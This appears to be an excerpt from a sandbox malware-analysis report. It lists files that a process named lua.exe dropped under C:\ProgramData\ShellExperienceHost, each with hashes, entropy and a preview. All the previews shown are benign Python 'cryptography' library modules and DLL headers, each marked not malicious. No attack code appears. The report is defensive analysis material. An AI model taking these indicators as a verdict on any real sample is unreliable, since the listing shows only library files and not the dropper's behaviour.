File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	5618
Entropy (8bit):	4.690533964725166
Encrypted:	false
SSDEEP:	48:IDoWOmjZ9USF/M2G3lAAkOQZmrZbeZHrOvyiUNdeeuVF/dZbeZHuYRHvyiUNZVZ/:FbYZnF/fGgqJVF/dmR0xZWGNL16nw
MD5:	41796A7B9DE38EFB6CAFA1890CB3872A
SHA1:	DBE24C25DB65E26FBAD672B52B8FC34A35BD3B2C
SHA-256:	7C89CBA69C07667620C24410E4C76C382BB1FF2DE47D6FB6F7411B1A7FB46CA1
SHA-512:	74E175BD1D9BA1DF38AD1B71DC4DFFA77FB664EBD47CED4A81D2C4A084C9BADACB3F09EF85AB4AC122DB3CC3825E481FA9BBD6AC789C7C39C1799F8BCCE26515
Malicious:	false
Preview:	# This file is dual licensed under the terms of the Apache License, Version.# 2.0, and the BSD License. See the LICENSE file in the root of this repository.# for complete details...from __future__ import absolute_import, division, print_function..from cryptography import exceptions, utils.from cryptography.hazmat.primitives import serialization.from cryptography.hazmat.primitives.asymmetric.ed25519 import (. Ed25519PrivateKey,. Ed25519PublicKey,. _ED25519_KEY_SIZE,. _ED25519_SIG_SIZE,.)...@utils.register_interface(Ed25519PublicKey).class _Ed25519PublicKey(object):. def __init__(self, backend, evp_pkey):. self._backend = backend. self._evp_pkey = evp_pkey.. def public_bytes(self, encoding, format):. if (. encoding is serialization.Encoding.Raw. or format is serialization.PublicFormat.Raw. ):. if (. encoding is not serialization.Encoding.Raw. or format is not serialization.PublicF

C:\ProgramData\ShellExperienceHost\Lib\site-packages\cryptography\hazmat\backends\openssl\ed448.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	5574
Entropy (8bit):	4.6648194949217645
Encrypted:	false
SSDEEP:	48:IDoWLLF/M2G3lAAkOQZmrZ1cZHLOvyiUNdeeuBF/dZ1cZH8UHvyiUNZVZ1/RtaHu:FYLF/fGgq1BF/dg0DfWGNL16nU
MD5:	AFF5A8CA66294808FFBA67C5C12DA075
SHA1:	2569ABBA727FC77B572ACD758A70B87E481AEABD
SHA-256:	5A9EDD90F8DBD93CA3CE0BA1D5B1F0CD722D30FA89ABF03DF83EF30B01EA9DCF
SHA-512:	19F78E36B17B3ADDF93E723AFC33EA19909E7A4BFC007BE184A09424945FBEB9ECC5C65062C960AEF4D920F2BEB20946DD772913637044509A5FEB2A6672867E
Malicious:	false
Preview:	# This file is dual licensed under the terms of the Apache License, Version.# 2.0, and the BSD License. See the LICENSE file in the root of this repository.# for complete details...from __future__ import absolute_import, division, print_function..from cryptography import exceptions, utils.from cryptography.hazmat.primitives import serialization.from cryptography.hazmat.primitives.asymmetric.ed448 import (. Ed448PrivateKey,. Ed448PublicKey,.).._ED448_KEY_SIZE = 57._ED448_SIG_SIZE = 114...@utils.register_interface(Ed448PublicKey).class _Ed448PublicKey(object):. def __init__(self, backend, evp_pkey):. self._backend = backend. self._evp_pkey = evp_pkey.. def public_bytes(self, encoding, format):. if (. encoding is serialization.Encoding.Raw. or format is serialization.PublicFormat.Raw. ):. if (. encoding is not serialization.Encoding.Raw. or format is not serialization.PublicFormat.Raw.

C:\ProgramData\ShellExperienceHost\Lib\site-packages\cryptography\hazmat\backends\openssl\encode_asn1.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	24075
Entropy (8bit):	4.902007396205595
Encrypted:	false
SSDEEP:	384:F02QNED7ciCM9ACuwFm/iQ8MX4t4WUVz5:OdwnCMiCZFjQ85t4WUn
MD5:	73FF69F0323E8316904A4DEB622C8E3D
SHA1:	26EB83407056308F3054E58A8095CEC82932CAE3
SHA-256:	E6D4262DF2C4C8A4E6DC483F19F84625C3EDB90D047F639D6EC831542D9F70C7
SHA-512:	07127F413BF2C2FEB492B4EFA4CA2642E25DA50702FE451D8AE30F1CD49911EA02580DA914BAA499B7C03D05AD86DFDA3EEA10D555874F6F0D644174945A5465
Malicious:	false
Preview:	# This file is dual licensed under the terms of the Apache License, Version.# 2.0, and the BSD License. See the LICENSE file in the root of this repository.# for complete details...from __future__ import absolute_import, division, print_function..import calendar.import ipaddress..import six..from cryptography import utils, x509.from cryptography.hazmat.backends.openssl.decode_asn1 import (. _CRL_ENTRY_REASON_ENUM_TO_CODE,. _DISTPOINT_TYPE_FULLNAME,. _DISTPOINT_TYPE_RELATIVENAME,.).from cryptography.x509.name import _ASN1Type.from cryptography.x509.oid import (. CRLEntryExtensionOID,. ExtensionOID,. OCSPExtensionOID,.)...def _encode_asn1_int(backend, x):. """. Converts a python integer to an ASN1_INTEGER. The returned ASN1_INTEGER. will not be garbage collected (to support adding them to structs that take. ownership of the object). Be sure to register it for GC if it will be. discarded after use... """. # Convert Python integer to OpenSSL "bignum"

C:\ProgramData\ShellExperienceHost\Lib\site-packages\cryptography\hazmat\backends\openssl\hashes.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	3117
Entropy (8bit):	4.550357993756065
Encrypted:	false
SSDEEP:	48:IDoWmZfouXsGsUI9t/Z7pnEJVVgUgab0J19nT1DiZTJ+xkuUZgKe:FbZfouGKKtiVS
MD5:	1A12BC732B8E59B8A6170B0809639994
SHA1:	B74DBC8D6412F2DE3647B33CB416FFF10A7E6440
SHA-256:	9FA5C9C0223ED8E53A1677626AD15B13F3E06F77F536856E1F0A42316D33DF8D
SHA-512:	BFB45BF72CEA58987854B3E655D74AF1A39DE9B620C97BF7F93FAD1FDAB7114A6ED16E2C9636481197DF17BCB28DB3508D95CE1D9A8916D3AF29978CB42FAA88
Malicious:	false
Preview:	# This file is dual licensed under the terms of the Apache License, Version.# 2.0, and the BSD License. See the LICENSE file in the root of this repository.# for complete details...from __future__ import absolute_import, division, print_function...from cryptography import utils.from cryptography.exceptions import UnsupportedAlgorithm, _Reasons.from cryptography.hazmat.primitives import hashes...@utils.register_interface(hashes.HashContext).class _HashContext(object):. def __init__(self, backend, algorithm, ctx=None):. self._algorithm = algorithm.. self._backend = backend.. if ctx is None:. ctx = self._backend._lib.EVP_MD_CTX_new(). ctx = self._backend._ffi.gc(. ctx, self._backend._lib.EVP_MD_CTX_free. ). evp_md = self._backend._evp_md_from_algorithm(algorithm). if evp_md == self._backend._ffi.NULL:. raise UnsupportedAlgorithm(. "{} is not a supported hash on t

C:\ProgramData\ShellExperienceHost\Lib\site-packages\cryptography\hazmat\backends\openssl\hmac.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	2933
Entropy (8bit):	4.639245707191957
Encrypted:	false
SSDEEP:	48:IDoWmf5RkHj+Xsr0RsUY9t/Z7rcyKD7NHUcsbDpJ1tkZjJuJhEe3c0Jqco:Fb3Qj+A/YjWo
MD5:	01C6EE1AFF7CA9DB21A69C3E9E3542FE
SHA1:	F1FD14CB3D12B8822EF1AD8360E68D60F3E4C3FF
SHA-256:	0FF61C1763A22D27EB5AD03B7E4B0B88A59C69587E1B58A0A6A347B8CE65EB67
SHA-512:	3E5C5A17F051F24445803B491AD7DDCD0B013A99AC12A018CDEF11F352517DCB14C74A9F9FD87B9D084595FC9D2E206641931C82954498D7E7EA0D8EF4F3CF22
Malicious:	false
Preview:	# This file is dual licensed under the terms of the Apache License, Version.# 2.0, and the BSD License. See the LICENSE file in the root of this repository.# for complete details...from __future__ import absolute_import, division, print_function...from cryptography import utils.from cryptography.exceptions import (. InvalidSignature,. UnsupportedAlgorithm,. _Reasons,.).from cryptography.hazmat.primitives import constant_time, hashes...@utils.register_interface(hashes.HashContext).class _HMACContext(object):. def __init__(self, backend, key, algorithm, ctx=None):. self._algorithm = algorithm. self._backend = backend.. if ctx is None:. ctx = self._backend._lib.HMAC_CTX_new(). self._backend.openssl_assert(ctx != self._backend._ffi.NULL). ctx = self._backend._ffi.gc(ctx, self._backend._lib.HMAC_CTX_free). evp_md = self._backend._evp_md_from_algorithm(algorithm). if evp_md == self._backend._ffi.NULL:.

C:\ProgramData\ShellExperienceHost\Lib\site-packages\cryptography\hazmat\backends\openssl\ocsp.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	14028
Entropy (8bit):	4.7070723650681305
Encrypted:	false
SSDEEP:	192:FRLkHRWeRjOHRWCRoiRW8RPBRWdurl2XC1NSVhw+UHTcHlaa90g4PVNTaWMUZHVx:Foj0tKf4AVhw5z2laa90g4tMWMUZ1x
MD5:	2C25619DBB0A16441B3CCEBE16D33AD9
SHA1:	2FD2A86BEFAF86C4C412706EC1750DD21ACDEF19
SHA-256:	3441AB737D067CF04B6E39EDF8ADCAE3CF9D64AD9D13241ADA80B2BFBFA568CB
SHA-512:	33BBA955BC3B17C41138B99A4D0E04AE223AF2E90EAA92405D33C0C1E5F88107426F038EAA25FA9B82820A70D34F8E8E3FF3F9E8E903D11AFCC48C180A9D8F6F
Malicious:	false
Preview:	# This file is dual licensed under the terms of the Apache License, Version.# 2.0, and the BSD License. See the LICENSE file in the root of this repository.# for complete details...from __future__ import absolute_import, division, print_function..import functools..from cryptography import utils, x509.from cryptography.exceptions import UnsupportedAlgorithm.from cryptography.hazmat.backends.openssl.decode_asn1 import (. _CRL_ENTRY_REASON_CODE_TO_ENUM,. _asn1_integer_to_int,. _asn1_string_to_bytes,. _decode_x509_name,. _obj2txt,. _parse_asn1_generalized_time,.).from cryptography.hazmat.backends.openssl.x509 import _Certificate.from cryptography.hazmat.primitives import serialization.from cryptography.x509.ocsp import (. OCSPCertStatus,. OCSPRequest,. OCSPResponse,. OCSPResponseStatus,. _CERT_STATUS_TO_ENUM,. _OIDS_TO_HASH,. _RESPONSE_STATUS_TO_ENUM,.)...def _requires_successful_response(func):. @functools.wraps(func). def wrapper(self, *args):

C:\ProgramData\ShellExperienceHost\Lib\site-packages\cryptography\hazmat\backends\openssl\poly1305.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	2393
Entropy (8bit):	4.756818649555658
Encrypted:	false
SSDEEP:	48:IDoW/BhCBeWShUbsv0fUfOuJ1zikZrUOhEPJrhn:FyBrin
MD5:	6C3353BB4E062579833A609E19F9B971
SHA1:	AD8117F4501C4286AB0619E053B6EEA60BA39F17
SHA-256:	2E2A2F5B84AF494856035D3D2242E5C389E7A24985F66DB8578A46C6AA0F98C2
SHA-512:	4568AE80EAAE2970F62520E1B99025551A68EC9E744C4720A4B6DFA9FC0DA2FD82963B463EB5771797F949AA0AEA5CE9FEB151329E5806BEA899C76E2DB88D6D
Malicious:	false
Preview:	# This file is dual licensed under the terms of the Apache License, Version.# 2.0, and the BSD License. See the LICENSE file in the root of this repository.# for complete details...from __future__ import absolute_import, division, print_function...from cryptography.exceptions import InvalidSignature.from cryptography.hazmat.primitives import constant_time..._POLY1305_TAG_SIZE = 16._POLY1305_KEY_SIZE = 32...class _Poly1305Context(object):. def __init__(self, backend, key):. self._backend = backend.. key_ptr = self._backend._ffi.from_buffer(key). # This function copies the key into OpenSSL-owned memory so we don't. # need to retain it ourselves. evp_pkey = self._backend._lib.EVP_PKEY_new_raw_private_key(. self._backend._lib.NID_poly1305,. self._backend._ffi.NULL,. key_ptr,. len(key),. ). self._backend.openssl_assert(evp_pkey != self._backend._ffi.NULL). self._evp_pkey = self._backend._f

C:\ProgramData\ShellExperienceHost\Lib\site-packages\cryptography\hazmat\backends\openssl\rsa.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	19577
Entropy (8bit):	4.751174745319746
Encrypted:	false
SSDEEP:	384:Fh8B0SjgxyFSAnQD83fjbQH3rBSeELiyCmkEMvV9XBS3VjpW:MOSJnQD83fjbAV2CZbsVjpW
MD5:	D2E3FB5D3E22B9AF22026906108694DD
SHA1:	DBE5063B359DB7BE1D2CD488385D86BA954F3D4F
SHA-256:	85C045CD9E752C0D9425F5467F4D31BA5E6758B793FBD4B3EEE7C22A5B35F79C
SHA-512:	EB62D033DCA64E03D7A81FBDD354BE58420012BA902D262E4217884E53374248935EBC67376C50EE9E56EA22FD0AB382D7D7C02004A2F19458C21BCF270A1857
Malicious:	false
Preview:	# This file is dual licensed under the terms of the Apache License, Version.# 2.0, and the BSD License. See the LICENSE file in the root of this repository.# for complete details...from __future__ import absolute_import, division, print_function..from cryptography import utils.from cryptography.exceptions import (. InvalidSignature,. UnsupportedAlgorithm,. _Reasons,.).from cryptography.hazmat.backends.openssl.utils import (. _calculate_digest_and_algorithm,. _check_not_prehashed,. _warn_sign_verify_deprecated,.).from cryptography.hazmat.primitives import hashes.from cryptography.hazmat.primitives.asymmetric import (. AsymmetricSignatureContext,. AsymmetricVerificationContext,. rsa,.).from cryptography.hazmat.primitives.asymmetric.padding import (. AsymmetricPadding,. MGF1,. OAEP,. PKCS1v15,. PSS,. calculate_max_pss_salt_length,.).from cryptography.hazmat.primitives.asymmetric.rsa import (. RSAPrivateKeyWithSerialization,. RSAPublicKeyW

C:\ProgramData\ShellExperienceHost\Lib\site-packages\cryptography\hazmat\backends\openssl\utils.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	2348
Entropy (8bit):	4.798129793770834
Encrypted:	false
SSDEEP:	48:IDoWKzbxGrxcSRWLQRWWmW6RWZKsMneeRWPmgQHyCiLeXOfX/seXAr7lJZx:F/ztETRWsRW7W6RWzMneeRWegbmO/LXC
MD5:	63AA0FDB031F75EF3A54455C16DE3B0E
SHA1:	5707822B3D9D21C130D9B063A0EC0C8E7B84BEB2
SHA-256:	F893323A03A5A654962F9CD3BBFDFEBE5E7F804D4504ADDEC3A9F466CDF9418A
SHA-512:	BA2C6FB23483A9C45C4291C8324BFA6BEFE4D4207B6ECE451DAE851889E69DE6B80BE9D0D65583C87423AACBE8BB38745CD1E11543DDDBBB4732BFD367FDB0B4
Malicious:	false
Preview:	# This file is dual licensed under the terms of the Apache License, Version.# 2.0, and the BSD License. See the LICENSE file in the root of this repository.# for complete details...from __future__ import absolute_import, division, print_function..import warnings..from cryptography import utils.from cryptography.hazmat.primitives import hashes.from cryptography.hazmat.primitives.asymmetric.utils import Prehashed...def _evp_pkey_derive(backend, evp_pkey, peer_public_key):. ctx = backend._lib.EVP_PKEY_CTX_new(evp_pkey, backend._ffi.NULL). backend.openssl_assert(ctx != backend._ffi.NULL). ctx = backend._ffi.gc(ctx, backend._lib.EVP_PKEY_CTX_free). res = backend._lib.EVP_PKEY_derive_init(ctx). backend.openssl_assert(res == 1). res = backend._lib.EVP_PKEY_derive_set_peer(ctx, peer_public_key._evp_pkey). backend.openssl_assert(res == 1). keylen = backend._ffi.new("size_t *"). res = backend._lib.EVP_PKEY_derive(ctx, backend._ffi.NULL, keylen). backend.openssl_asse

C:\ProgramData\ShellExperienceHost\Lib\site-packages\cryptography\hazmat\backends\openssl\x25519.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	4488
Entropy (8bit):	4.632927165478198
Encrypted:	false
SSDEEP:	96:FZgTXrpF/fGgFrNF/Eho79zWGNL16yy6Nj/w:FZgbN9pFB9D79zZxpD9w
MD5:	B57B69A0C96D295537AB7894034354F9
SHA1:	9AE9246C686E6513769C3F08F13F034D4CE4B583
SHA-256:	F8C3403C64BF0D9DFBFAC9129F5EFE8086A414BA099AE371F0F942F2CDBED348
SHA-512:	8ED4401D4C06C48155B094C84C4EABDE53AD84AB1D61AEE3D9E8DDBF42352CEF3C7B7E3BB9287F8F7216665DB7BA722CCFB1A18AA7D9C4840EAAC077353821DA
Malicious:	false
Preview:	# This file is dual licensed under the terms of the Apache License, Version.# 2.0, and the BSD License. See the LICENSE file in the root of this repository.# for complete details...from __future__ import absolute_import, division, print_function..from cryptography import utils.from cryptography.hazmat.backends.openssl.utils import _evp_pkey_derive.from cryptography.hazmat.primitives import serialization.from cryptography.hazmat.primitives.asymmetric.x25519 import (. X25519PrivateKey,. X25519PublicKey,.)..._X25519_KEY_SIZE = 32...@utils.register_interface(X25519PublicKey).class _X25519PublicKey(object):. def __init__(self, backend, evp_pkey):. self._backend = backend. self._evp_pkey = evp_pkey.. def public_bytes(self, encoding, format):. if (. encoding is serialization.Encoding.Raw. or format is serialization.PublicFormat.Raw. ):. if (. encoding is not serialization.Encoding.Raw. or fo

C:\ProgramData\ShellExperienceHost\Lib\site-packages\cryptography\hazmat\backends\openssl\x448.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	4011
Entropy (8bit):	4.665166442900023
Encrypted:	false
SSDEEP:	48:IDoW2gX1F/M2G3lAAkOQZmrZunZHnVF/dZunZH+WCdmozH2G3lA+ik5d9LZ6giZm:FZgX1F/fGgq8VF/dxBfzWGNL16nc
MD5:	F1FD49248460F72476A0EBF4F83D8727
SHA1:	7653B6A32EA05012210CB5F8ECD121196698F820
SHA-256:	E561F7470EE46462D2DC40C35738EB62B8801BEB73527C967ADCAA3184E21210
SHA-512:	DD4195C096CB57E5E366C4042B8FA97A6B1FFA6E9B50E238B20B7D6AFECC9E551BB19B261B3075C26CF1F10DA97513C454A93DC4F7596BB70C743EC0CA77656F
Malicious:	false
Preview:	# This file is dual licensed under the terms of the Apache License, Version.# 2.0, and the BSD License. See the LICENSE file in the root of this repository.# for complete details...from __future__ import absolute_import, division, print_function..from cryptography import utils.from cryptography.hazmat.backends.openssl.utils import _evp_pkey_derive.from cryptography.hazmat.primitives import serialization.from cryptography.hazmat.primitives.asymmetric.x448 import (. X448PrivateKey,. X448PublicKey,.).._X448_KEY_SIZE = 56...@utils.register_interface(X448PublicKey).class _X448PublicKey(object):. def __init__(self, backend, evp_pkey):. self._backend = backend. self._evp_pkey = evp_pkey.. def public_bytes(self, encoding, format):. if (. encoding is serialization.Encoding.Raw. or format is serialization.PublicFormat.Raw. ):. if (. encoding is not serialization.Encoding.Raw. or format is not s

C:\ProgramData\ShellExperienceHost\Lib\site-packages\cryptography\hazmat\backends\openssl\x509.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	21620
Entropy (8bit):	4.729523030510298
Encrypted:	false
SSDEEP:	384:F1FPmfQhOhbpXkC2Pli4CXQhvjBMAnuQtnXkAhcUywAM6Mu0wF:pmfQcVp0C2PleXQdBuQxX7ODwKMu0a
MD5:	33E4BA8337043D114CD5D62DCE84884D
SHA1:	9E36D20472E97B60906F5C498F4512DD395BF0A1
SHA-256:	10C37DA923D6D41559D5500E1F3822F283BC89D23C88E6F4C2B5A376BAF91692
SHA-512:	256B04E7805EB0C2EFA9A51A9CCA3CA414E1E029631733D8BC09C7D53A85CF7CCBB058C2B3DA0AEF2055CF020983BAA1FAA935CB11CCB28B7F4BDB6A7D202AB6
Malicious:	false
Preview:	# This file is dual licensed under the terms of the Apache License, Version.# 2.0, and the BSD License. See the LICENSE file in the root of this repository.# for complete details...from __future__ import absolute_import, division, print_function..import datetime.import operator..from cryptography import utils, x509.from cryptography.exceptions import UnsupportedAlgorithm.from cryptography.hazmat.backends.openssl.decode_asn1 import (. _asn1_integer_to_int,. _asn1_string_to_bytes,. _decode_x509_name,. _obj2txt,. _parse_asn1_time,.).from cryptography.hazmat.backends.openssl.encode_asn1 import (. _encode_asn1_int_gc,. _txt2obj_gc,.).from cryptography.hazmat.primitives import hashes, serialization.from cryptography.hazmat.primitives.asymmetric import dsa, ec, rsa.from cryptography.x509.name import _ASN1Type...@utils.register_interface(x509.Certificate).class _Certificate(object):. def __init__(self, backend, x509_cert):. self._backend = backend. self._x

C:\ProgramData\ShellExperienceHost\Lib\site-packages\cryptography\hazmat\bindings\__init__.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	246
Entropy (8bit):	4.510985100796869
Encrypted:	false
SSDEEP:	6:SbFpbtcMi6O0vgad8pq/ZOwA9lJuzDMABCR1SX5J:qD+6O0vgEVhO17yDjCy5J
MD5:	78B1D25DDD78A95B7C555457C908A5D9
SHA1:	20AB628BD54B5F04CAAE086D3C731DC028F65619
SHA-256:	D301B0D8E17D47B7C75FB35610D0A6AEC62281B5C7536A23827F8DE11923B3D5
SHA-512:	F8191CB9DD1ECC0E97A7A87B233BFC583C29BE5BC1EF8D432AD35BC1703209D0FDFBEB38DF5EFA552E177DB9C316F34FAA4FEB334141EA850A45923B07E4AF4F
Malicious:	false
Preview:	# This file is dual licensed under the terms of the Apache License, Version.# 2.0, and the BSD License. See the LICENSE file in the root of this repository.# for complete details...from __future__ import absolute_import, division, print_function.

C:\ProgramData\ShellExperienceHost\Lib\site-packages\cryptography\hazmat\bindings\_openssl.pyd Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2296320
Entropy (8bit):	6.963761793623149
Encrypted:	false
SSDEEP:	49152:OZOg3qT51HaQ8SG8hoqWPzaRYBkI3rOkCaKk:OZOgaT5BlG5qwaRYBkI
MD5:	9AF9CA9B592687B0A2BA60934DD9BD1B
SHA1:	126E765964496FFE94C1A103477BA58A71F03487
SHA-256:	0CD6D615C463C7D56D1FD262BA1C46FE7B18188D805B38FF60E965A9913DAA33
SHA-512:	B075982E9B874B787643EA281CB5614CDCAAEACCD18C107776B77C0E76F53D6B80603D741057F7FFBA5218CF217336F81FCBC5791312ACCA3D92148B9175B72E
Malicious:	false
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$.......s...7..Q7..Q7..Q>./Q#..Q..P5..Q..P;..Q..P=..Q..P=..Q..P5..Q#.P:..Q7..Q...Q7..Q"..Q..P...Q..P6..Q..P6..Q..CQ6..Q..P6..QRich7..Q........................PE..L......_...........!.........T......Y........................................p#...........@........................... .P...@. .h....."......................."..]... ............................... .@............................................text............................... ..`.rdata..............................@..@.data....S.... ..$.... .............@....rsrc.........".......!.............@..@.reloc...]...."..^....!.............@..B........................................................................................................................................................................................................................................................................

C:\ProgramData\ShellExperienceHost\Lib\site-packages\cryptography\hazmat\bindings\_padding.pyd Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	10752
Entropy (8bit):	5.5689561743456295
Encrypted:	false
SSDEEP:	192:hsFlEoafmQwQa+c+0OU28jO94TGoMkwcm7zDPEfcu:ocUQaJOQjm4ioMkwXrPE
MD5:	F1633EBE3843661FCC08D2A8AD9E89DD
SHA1:	D1C51DA2F474954A6B1960818E68EC344E69776F
SHA-256:	50F572C2A38D2E95950D7112DA1CE2FCABC9CDFF9257F3982C8DA7F1BDF7BEAB
SHA-512:	1F36B8173860DCA7ED2C0D25175E913CE991EF38D666E00F4EDA6D2E911F26558D09D9601B5F4AC1F74A6BA462B3BCEC05405FF54B85D1C6EA88D91903C160A2
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........~T...:...:...:..g....:.On;...:..t;...:.On?...:.On>...:.On9...:.Fn;...:...;...:.gm2...:.gm:...:.gm....:.gm8...:.Rich..:.........PE..L......_...........!................Q........0...............................p............@..........................5..P...`5..d....P.......................`......01..............................P1..@............0...............................text............................... ..`.rdata.......0......................@..@.data........@.......$..............@....rsrc........P.......&..............@..@.reloc.......`.......(..............@..B........................................................................................................................................................................................................................................................................................................

C:\ProgramData\ShellExperienceHost\Lib\site-packages\cryptography\hazmat\bindings\openssl\__init__.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	246
Entropy (8bit):	4.510985100796869
Encrypted:	false
SSDEEP:	6:SbFpbtcMi6O0vgad8pq/ZOwA9lJuzDMABCR1SX5J:qD+6O0vgEVhO17yDjCy5J
MD5:	78B1D25DDD78A95B7C555457C908A5D9
SHA1:	20AB628BD54B5F04CAAE086D3C731DC028F65619
SHA-256:	D301B0D8E17D47B7C75FB35610D0A6AEC62281B5C7536A23827F8DE11923B3D5
SHA-512:	F8191CB9DD1ECC0E97A7A87B233BFC583C29BE5BC1EF8D432AD35BC1703209D0FDFBEB38DF5EFA552E177DB9C316F34FAA4FEB334141EA850A45923B07E4AF4F
Malicious:	false
Preview:	# This file is dual licensed under the terms of the Apache License, Version.# 2.0, and the BSD License. See the LICENSE file in the root of this repository.# for complete details...from __future__ import absolute_import, division, print_function.

C:\ProgramData\ShellExperienceHost\Lib\site-packages\cryptography\hazmat\bindings\openssl\_conditional.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	8291
Entropy (8bit):	5.007707711930194
Encrypted:	false
SSDEEP:	192:F0wuWEDI7CbRzcHCuOwZ8SpaFGWKey/mEIDJUhRFvz0KvUdW9dDQ/1k8N1:FAEV0U6Mg9N1
MD5:	3E3B3C1C5D9DDA50504091DDF2B9F177
SHA1:	2526F185A800CDCAC57C4F7DA470F21EBEF87599
SHA-256:	EBE130A59792A9B2CD44F873B1714F4CEE3DF302C66835D6F8BBE4AA2266E2F4
SHA-512:	855EC98B52D2F5A2E0A1367712E0EA92ED3F3D18C25EBC8E56A3D8C6608B29254F7A88CEF9487D2BB2BF7DF40F307381C038FFF2429DF0CEF1D9D6BEB6548423
Malicious:	false
Preview:	# This file is dual licensed under the terms of the Apache License, Version.# 2.0, and the BSD License. See the LICENSE file in the root of this repository.# for complete details...from __future__ import absolute_import, division, print_function...def cryptography_has_ec2m():. return [. "EC_POINT_set_affine_coordinates_GF2m",. "EC_POINT_get_affine_coordinates_GF2m",. "EC_POINT_set_compressed_coordinates_GF2m",. ]...def cryptography_has_rsa_oaep_md():. return [. "EVP_PKEY_CTX_set_rsa_oaep_md",. ]...def cryptography_has_rsa_oaep_label():. return [. "EVP_PKEY_CTX_set0_rsa_oaep_label",. ]...def cryptography_has_ssl3_method():. return [. "SSLv3_method",. "SSLv3_client_method",. "SSLv3_server_method",. ]...def cryptography_has_102_verification():. return [. "X509_V_ERR_SUITE_B_INVALID_VERSION",. "X509_V_ERR_SUITE_B_INVALID_ALGORITHM",. "X509_V_ERR_SUITE_B_INVALID_CURVE",. "X509_V_ER

C:\ProgramData\ShellExperienceHost\Lib\site-packages\cryptography\hazmat\bindings\openssl\binding.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	5816
Entropy (8bit):	4.6021178640154545
Encrypted:	false
SSDEEP:	96:FYwxYuaEV9ghLh0/NQPu0RYFsp17I5/fE5Pc/CTBpK3GL5iXv:FLH9+hEKu0RmsTw0iaTBnI
MD5:	2AE98A0C48D66B58FE7CD6203BF8CE48
SHA1:	DCC4DBC790101C5FBDABFF59732B9C06770DFA3F
SHA-256:	C93E5ED89AF300D77A146FFFBACE9A8FDA1C6F8F049CD24AEB570AC2BA5E334F
SHA-512:	7C871A9972014FF8C820377A5E284A0C3959036C59D8DFDBA1BCCDB3407D3758D1D1F7682FA0C4AC13FBE93E6F5D6C3F4AE18634A0F046A9BABFF335285E1040
Malicious:	false
Preview:	# This file is dual licensed under the terms of the Apache License, Version.# 2.0, and the BSD License. See the LICENSE file in the root of this repository.# for complete details...from __future__ import absolute_import, division, print_function..import collections.import threading.import types..import cryptography.from cryptography import utils.from cryptography.exceptions import InternalError.from cryptography.hazmat.bindings._openssl import ffi, lib.from cryptography.hazmat.bindings.openssl._conditional import CONDITIONAL_NAMES.._OpenSSLErrorWithText = collections.namedtuple(. "_OpenSSLErrorWithText", ["code", "lib", "func", "reason", "reason_text"].)...class _OpenSSLError(object):. def __init__(self, code, lib, func, reason):. self._code = code. self._lib = lib. self._func = func. self._reason = reason.. def _lib_reason_match(self, lib, reason):. return lib == self.lib and reason == self.reason.. code = utils.read_only_property("_code"

C:\ProgramData\ShellExperienceHost\Lib\site-packages\cryptography\hazmat\primitives\__init__.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	246
Entropy (8bit):	4.510985100796869
Encrypted:	false
SSDEEP:	6:SbFpbtcMi6O0vgad8pq/ZOwA9lJuzDMABCR1SX5J:qD+6O0vgEVhO17yDjCy5J
MD5:	78B1D25DDD78A95B7C555457C908A5D9
SHA1:	20AB628BD54B5F04CAAE086D3C731DC028F65619
SHA-256:	D301B0D8E17D47B7C75FB35610D0A6AEC62281B5C7536A23827F8DE11923B3D5
SHA-512:	F8191CB9DD1ECC0E97A7A87B233BFC583C29BE5BC1EF8D432AD35BC1703209D0FDFBEB38DF5EFA552E177DB9C316F34FAA4FEB334141EA850A45923B07E4AF4F
Malicious:	false
Preview:	# This file is dual licensed under the terms of the Apache License, Version.# 2.0, and the BSD License. See the LICENSE file in the root of this repository.# for complete details...from __future__ import absolute_import, division, print_function.

C:\ProgramData\ShellExperienceHost\Lib\site-packages\cryptography\hazmat\primitives\asymmetric\__init__.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	1020
Entropy (8bit):	4.496772296141767
Encrypted:	false
SSDEEP:	24:q9O0opQ24tT/ZnM7cnfnq/N7cRL71KQeC:IDoWB1ZM7cfnCN7cJ1KQP
MD5:	04E48263DF76D83B359AE96DC04E0D97
SHA1:	76F2A7F1F95F8D479BA440B42ACB2A4FDF766B27
SHA-256:	5A1527DED1B1A0B031180B191C4949D9A3882D74A1E790198B4E0C06E7589900
